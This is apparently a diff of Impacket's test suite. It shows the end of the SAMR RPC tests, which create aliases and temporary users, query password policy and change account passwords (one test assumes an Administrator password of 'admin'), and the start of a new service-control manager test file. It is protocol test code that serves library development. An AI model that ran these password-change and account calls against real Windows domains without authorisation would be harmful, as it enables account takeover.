+        request['AliasHandle'] = resp['AliasHandle'] 
+        request['MembersBuffer']['Count'] = 2
+        request['MembersBuffer']['Sids'].append(si)
+        request['MembersBuffer']['Sids'].append(si2)
+        resp2 = dce.request(request)
+        resp2.dump()
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_hSamrAddMultipleMembersToAlias_hSamrRemoveMultipleMembersFromAliass(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        #resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
+        #resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1257)
+        #resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])
+        resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
+
+        sid1 = samr.RPC_SID()
+        sid1.fromCanonical(adminSID)
+
+        sid2 = samr.RPC_SID()
+        sid2.fromCanonical(guestSID)
+
+        si = samr.PSAMPR_SID_INFORMATION()
+        si['SidPointer'] = sid1
+
+        si2 = samr.PSAMPR_SID_INFORMATION()
+        si2['SidPointer'] = sid2
+
+        sidArray = samr.SAMPR_PSID_ARRAY()
+        sidArray['Sids'].append(si)
+        sidArray['Sids'].append(si2)
+
+        resp = samr.hSamrAddMultipleMembersToAlias(dce, aliasHandle, sidArray)
+        resp.dump()
+
+        resp = samr.hSamrRemoveMultipleMembersFromAlias(dce, aliasHandle, sidArray)
+        resp.dump()
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_SamrRemoveMemberFromForeignDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+
+        resp = dce.request(request)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        request = samr.SamrRemoveMemberFromForeignDomain()
+        request['DomainHandle'] = domainHandle
+        request['MemberSid'].fromCanonical(adminSID)
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0:
+                raise
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_hSamrRemoveMemberFromForeignDomain(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+
+        resp = dce.request(request)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+        try:
+            resp = samr.hSamrRemoveMemberFromForeignDomain(dce, domainHandle, sid)
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0:
+                raise
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_SamrGetAliasMembership(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+
+        resp = dce.request(request)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
+
+        sid1 = samr.RPC_SID()
+        sid1.fromCanonical(adminSID)
+
+        sid2 = samr.RPC_SID()
+        sid2.fromCanonical(guestSID)
+
+        si = samr.PSAMPR_SID_INFORMATION()
+        si['SidPointer'] = sid1
+
+        si2 = samr.PSAMPR_SID_INFORMATION()
+        si2['SidPointer'] = sid2
+
+        request = samr.SamrGetAliasMembership()
+        request['DomainHandle'] = domainHandle
+        request['SidArray']['Count'] = 2
+        request['SidArray']['Sids'].append(si)
+        request['SidArray']['Sids'].append(si2)
+        resp = dce.request(request)
+        resp.dump()
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_hSamrGetAliasMembership(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        #resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
+        #resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1268)
+        #resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])
+
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+
+        resp = dce.request(request)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
+
+        sid1 = samr.RPC_SID()
+        sid1.fromCanonical(adminSID)
+
+        sid2 = samr.RPC_SID()
+        sid2.fromCanonical(guestSID)
+
+        si = samr.PSAMPR_SID_INFORMATION()
+        si['SidPointer'] = sid1
+
+        si2 = samr.PSAMPR_SID_INFORMATION()
+        si2['SidPointer'] = sid2
+
+        sidsArray = samr.SAMPR_PSID_ARRAY()
+        sidsArray['Sids'].append(si)
+        sidsArray['Sids'].append(si2)
+
+        try:
+            resp = samr.hSamrGetAliasMembership(dce, domainHandle, sidsArray)
+            resp.dump()
+        except Exception:
+            request = samr.SamrDeleteAlias()
+            request['AliasHandle'] = aliasHandle
+            dce.request(request)
+            raise
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_SamrSetMemberAttributesOfGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        dce.request(request)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        resp = dce.request(request)
+
+        request = samr.SamrSetMemberAttributesOfGroup()
+        request['GroupHandle'] = resp['GroupHandle']
+        request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN
+        request['Attributes'] = samr.SE_GROUP_ENABLED_BY_DEFAULT
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrSetMemberAttributesOfGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        dce.request(request)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        resp = dce.request(request)
+
+        resp = samr.hSamrSetMemberAttributesOfGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT)
+        resp.dump()
+
+    def test_SamrGetUserDomainPasswordInformation(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+
+        request = samr.SamrGetUserDomainPasswordInformation()
+        request['UserHandle'] = resp['UserHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrGetUserDomainPasswordInformation(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+
+        resp = samr.hSamrGetUserDomainPasswordInformation(dce, resp['UserHandle'])
+        resp.dump()
+
+    def test_SamrGetDomainPasswordInformation(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrGetDomainPasswordInformation()
+        request['Unused'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrGetDomainPasswordInformation(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrGetDomainPasswordInformation(dce)
+        resp.dump()
+
+    def test_SamrRidToSid(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = samr.DOMAIN_USER_RID_ADMIN
+        dce.request(request)
+
+    def test_hSamrRidToSid(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrRidToSid(dce, domainHandle, samr.DOMAIN_USER_RID_ADMIN)
+        resp.dump()
+
+    def test_SamrSetDSRMPassword(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrSetDSRMPassword()
+        request['Unused'] = NULL
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        request['EncryptedNtOwfPassword'] = '\x00'*16
+        # calls made to SamrSetDSRMPassword using NCACN_IP_TCP are rejected with RPC_S_ACCESS_DENIED.
+        try:
+            dce.request(request)
+        except Exception as e:
+            if self.protocol == 'ncacn_ip_tcp':
+                if str(e).find('rpc_s_access_denied') < 0:
+                    raise
+            elif str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_SamrValidatePassword(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrValidatePassword()
+        request['ValidationType'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset
+        request['InputArg']['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset
+        request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY
+        request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL
+        request['InputArg']['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA'
+        request['InputArg']['ValidatePasswordResetInput']['UserAccountName'] = 'Administrator'
+        kk = samr.SamrValidatePassword()
+        kk.fromString(request.getData())
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_hSamrValidatePassword(self):
+        dce, rpc_transport = self.connect()
+        inputArg = samr.SAM_VALIDATE_INPUT_ARG()
+        inputArg['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset
+        inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY
+        inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL
+        inputArg['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA'
+        inputArg['ValidatePasswordResetInput']['UserAccountName'] = 'Administrator'
+        try:
+            resp = samr.hSamrValidatePassword(dce, inputArg)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_SamrQuerySecurityObject(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrQuerySecurityObject()
+        request['ObjectHandle'] = domainHandle
+        request['SecurityInformation'] = dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrQuerySecurityObject(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrQuerySecurityObject(dce, domainHandle,
+                                             dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION)
+        resp.dump()
+
+    def test_SamrSetSecurityObject(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,))
+        resp.dump()
+
+        resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_ALL_ACCESS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION, resp['RelativeIds']['Element'][0]['Data'])
+        resp.dump()
+        userHandle = resp['UserHandle']
+        request = samr.SamrQuerySecurityObject()
+        request['ObjectHandle'] = userHandle
+        request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION
+        resp = dce.request(request)
+        resp.dump()
+
+        request = samr.SamrSetSecurityObject()
+        request['ObjectHandle'] = userHandle
+        request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION
+        request['SecurityDescriptor'] = resp['SecurityDescriptor'] 
+
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0:
+                raise
+
+        resp = samr.hSamrCloseHandle(dce, userHandle)
+        resp.dump()
+
+    def test_hSamrSetSecurityObject(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,))
+        resp.dump()
+
+        resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_ALL_ACCESS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION, resp['RelativeIds']['Element'][0]['Data'])
+        resp.dump()
+        userHandle = resp['UserHandle']
+        resp = samr.hSamrQuerySecurityObject(dce, userHandle, dtypes.GROUP_SECURITY_INFORMATION)
+        resp.dump()
+
+        try:
+            resp = samr.hSamrSetSecurityObject(dce, userHandle, dtypes.GROUP_SECURITY_INFORMATION,resp['SecurityDescriptor']  )
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0:
+                raise
+
+        resp = samr.hSamrCloseHandle(dce, userHandle)
+        resp.dump()
+
+    def test_SamrChangePasswordUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        request = samr.SamrCreateUser2InDomain()
+        request['DomainHandle'] = domainHandle
+        request['Name'] = self.test_account
+        request['AccountType'] = samr.USER_NORMAL_ACCOUNT
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
+
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        oldPwd = ''
+        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
+        newPwd = 'ADMIN'
+        newPwdHashNT = ntlm.NTOWFv1(newPwd)
+        newPwdHashLM = ntlm.LMOWFv1(newPwd)
+
+        request = samr.SamrChangePasswordUser()
+        request['UserHandle'] = resp0['UserHandle']
+        request['LmPresent'] = 0
+        request['OldLmEncryptedWithNewLm'] = NULL
+        request['NewLmEncryptedWithOldLm'] = NULL
+        request['NtPresent'] = 1
+        request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
+        request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT) 
+        request['NtCrossEncryptionPresent'] = 0
+        request['NewNtEncryptedWithNewLm'] = NULL
+        request['LmCrossEncryptionPresent'] = 1
+        request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
+        resp = dce.request(request)
+        resp.dump()
+
+        # Delete the temp user
+        request = samr.SamrDeleteUser()
+        request['UserHandle'] = resp0['UserHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrChangePasswordUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        request = samr.SamrCreateUser2InDomain()
+        request['DomainHandle'] = domainHandle
+        request['Name'] = self.test_account
+        request['AccountType'] = samr.USER_NORMAL_ACCOUNT
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
+
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        resp = samr.hSamrChangePasswordUser(dce, resp0['UserHandle'], '', 'ADMIN')
+        resp.dump()
+
+        # Delete the temp user
+        request = samr.SamrDeleteUser()
+        request['UserHandle'] = resp0['UserHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_SamrOemChangePasswordUser2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        # As you can guess by now, target machine must have the Administrator account with password admin
+        # NOTE: It's giving me WRONG_PASSWORD  'cause the target test server doesn't hold LM Hashes
+        # further testing is needed to verify this call works
+        oldPwd = 'admin'
+        oldPwdHashLM = ntlm.LMOWFv1(oldPwd)
+        newPwd = 'ADMIN'
+        newPwdHashLM = ntlm.LMOWFv1(newPwd)
+
+        try:
+            from Cryptodome.Cipher import ARC4
+        except Exception:
+            print("Warning: You don't have any crypto installed. You need pycryptodomex")
+            print("See https://pypi.org/project/pycryptodomex/")
+
+        request = samr.SamrOemChangePasswordUser2()
+        request['ServerName'] = ''
+        request['UserName'] = 'Administrator'
+        samUser = samr.SAMPR_USER_PASSWORD()
+        samUser['Buffer'] = b'A'*(512-len(newPwd)) + b(newPwd)
+        samUser['Length'] = len(newPwd)
+        pwdBuff = samUser.getData()
+
+        rc4 = ARC4.new(oldPwdHashLM)
+        encBuf = rc4.encrypt(pwdBuff)
+        request['NewPasswordEncryptedWithOldLm']['Buffer'] = encBuf
+        request['OldLmOwfPasswordEncryptedWithNewLm'] = crypto.SamEncryptNTLMHash(oldPwdHashLM, newPwdHashLM)
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_WRONG_PASSWORD') < 0:
+                raise
+
+    def test_SamrUnicodeChangePasswordUser2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        request = samr.SamrCreateUser2InDomain()
+        request['DomainHandle'] = domainHandle
+        request['Name'] = self.test_account
+        request['AccountType'] = samr.USER_NORMAL_ACCOUNT
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
+
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        oldPwd = ''
+        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
+        newPwd = 'ADMIN'
+        newPwdHashNT = ntlm.NTOWFv1(newPwd)
+        newPwdHashLM = ntlm.LMOWFv1(newPwd)
+
+        request = samr.SamrChangePasswordUser()
+        request['UserHandle'] = resp0['UserHandle']
+        request['LmPresent'] = 0
+        request['OldLmEncryptedWithNewLm'] = NULL
+        request['NewLmEncryptedWithOldLm'] = NULL
+        request['NtPresent'] = 1
+        request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
+        request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT) 
+        request['NtCrossEncryptionPresent'] = 0
+        request['NewNtEncryptedWithNewLm'] = NULL
+        request['LmCrossEncryptionPresent'] = 1
+        request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
+        resp = dce.request(request)
+        resp.dump()
+
+        oldPwd = 'ADMIN'
+        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
+        newPwd = "".join([random.choice(string.ascii_letters) for i in range(15)])
+        newPwdHashNT = ntlm.NTOWFv1(newPwd)
+
+        try:
+            from Cryptodome.Cipher import ARC4
+        except Exception:
+            print("Warning: You don't have any crypto installed. You need pycryptodomex")
+            print("See https://pypi.org/project/pycryptodomex/")
+
+        request = samr.SamrUnicodeChangePasswordUser2()
+        request['ServerName'] = ''
+        request['UserName'] = self.test_account
+        samUser = samr.SAMPR_USER_PASSWORD()
+        samUser['Buffer'] = b'A'*(512-len(newPwd)*2) + newPwd.encode('utf-16le')
+        samUser['Length'] = len(newPwd)*2
+        pwdBuff = samUser.getData()
+
+        rc4 = ARC4.new(oldPwdHashNT)
+        encBuf = rc4.encrypt(pwdBuff)
+        request['NewPasswordEncryptedWithOldNt']['Buffer'] = encBuf
+        request['OldNtOwfPasswordEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
+        request['LmPresent'] = 0
+        request['NewPasswordEncryptedWithOldLm'] = NULL
+        request['OldLmOwfPasswordEncryptedWithNewNt'] = NULL
+
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0:
+                raise
+
+        # Delete the temp user
+        request = samr.SamrDeleteUser()
+        request['UserHandle'] = resp0['UserHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrUnicodeChangePasswordUser2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        request = samr.SamrCreateUser2InDomain()
+        request['DomainHandle'] = domainHandle
+        request['Name'] = self.test_account
+        request['AccountType'] = samr.USER_NORMAL_ACCOUNT
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
+
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        oldPwd = ''
+        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
+        newPwd = 'ADMIN'
+        newPwdHashNT = ntlm.NTOWFv1(newPwd)
+        newPwdHashLM = ntlm.LMOWFv1(newPwd)
+
+        request = samr.SamrChangePasswordUser()
+        request['UserHandle'] = resp0['UserHandle']
+        request['LmPresent'] = 0
+        request['OldLmEncryptedWithNewLm'] = NULL
+        request['NewLmEncryptedWithOldLm'] = NULL
+        request['NtPresent'] = 1
+        request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
+        request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT) 
+        request['NtCrossEncryptionPresent'] = 0
+        request['NewNtEncryptedWithNewLm'] = NULL
+        request['LmCrossEncryptionPresent'] = 1
+        request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
+        resp = dce.request(request)
+        resp.dump()
+
+        try:
+            resp = samr.hSamrUnicodeChangePasswordUser2(dce, '', self.test_account, 'ADMIN', 'betus')
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0:
+                raise
+
+        # Delete the temp user
+        request = samr.SamrDeleteUser()
+        request['UserHandle'] = resp0['UserHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+
+@pytest.mark.remote
+class SAMRTestsSMBTransport(SAMRTests, unittest.TestCase):
+    protocol = "ncacn_np"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+@pytest.mark.remote
+class SAMRTestsSMBTransport64(SAMRTests, unittest.TestCase):
+    protocol = "ncacn_np"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+@pytest.mark.remote
+class SAMRTestsTCPTransport(SAMRTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+@pytest.mark.remote
+class SAMRTestsTCPTransport64(SAMRTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_scmr.py b/tests/dcerpc/test_scmr.py
new file mode 100644
index 0000000..dfe9f16
--- /dev/null
+++ b/tests/dcerpc/test_scmr.py
@@ -0,0 +1,662 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   ROpenSCManagerW
+#   RControlService
+#   RDeleteService
+#   RLockServiceDatabase
+#   RQueryServiceObjectSecurity
+#   RQueryServiceStatus
+#   RUnlockServiceDatabase
+#   RNotifyBootConfigStatus
+#   RChangeServiceConfigW
+#   RCreateServiceW
+#   REnumDependentServicesW
+#   REnumServicesStatusW
+#   ROpenSCManager
+#   ROpenServiceW
+#   RQueryServiceConfigW
+#   RQueryServiceLockStatusW
+#   RStartServiceW
+#   CRGetServiceDisplayNameW
+#   RGetServiceKeyNameW
+#   REnumServiceGroupW
+#   RChangeServiceConfig2W
+#   RQueryServiceConfig2W
+#   RQueryServiceStatusEx
+#   REnumServicesStatusExW
+#   RNotifyServiceStatusChange
+#   RGetNotifyResults
+#   RCloseNotifyHandle
+#   RControlServiceExW
+#   RQueryServiceConfigEx
+#
+# Not yet:
+#   hRCloseServiceHandleCall
+#   RSetServiceObjectSecurity
+#   RSetServiceStatus
+#   RCreateServiceWOW64W
+#
+import time
+import pytest
+import unittest
+from struct import unpack
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import scmr
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.crypto import encryptSecret
+from impacket.uuid import string_to_bin
+from impacket import ntlm
+
+
+class SCMRTests(DCERPCTests):
+    iface_uuid = scmr.MSRPC_UUID_SCMR
+    authn = True
+    
+    def get_service_handle(self, dce):
+        lpMachineName = 'DUMMY\x00'
+        lpDatabaseName = 'ServicesActive\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE
+        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess)
+        scHandle = resp['lpScHandle']
+        return scHandle
+
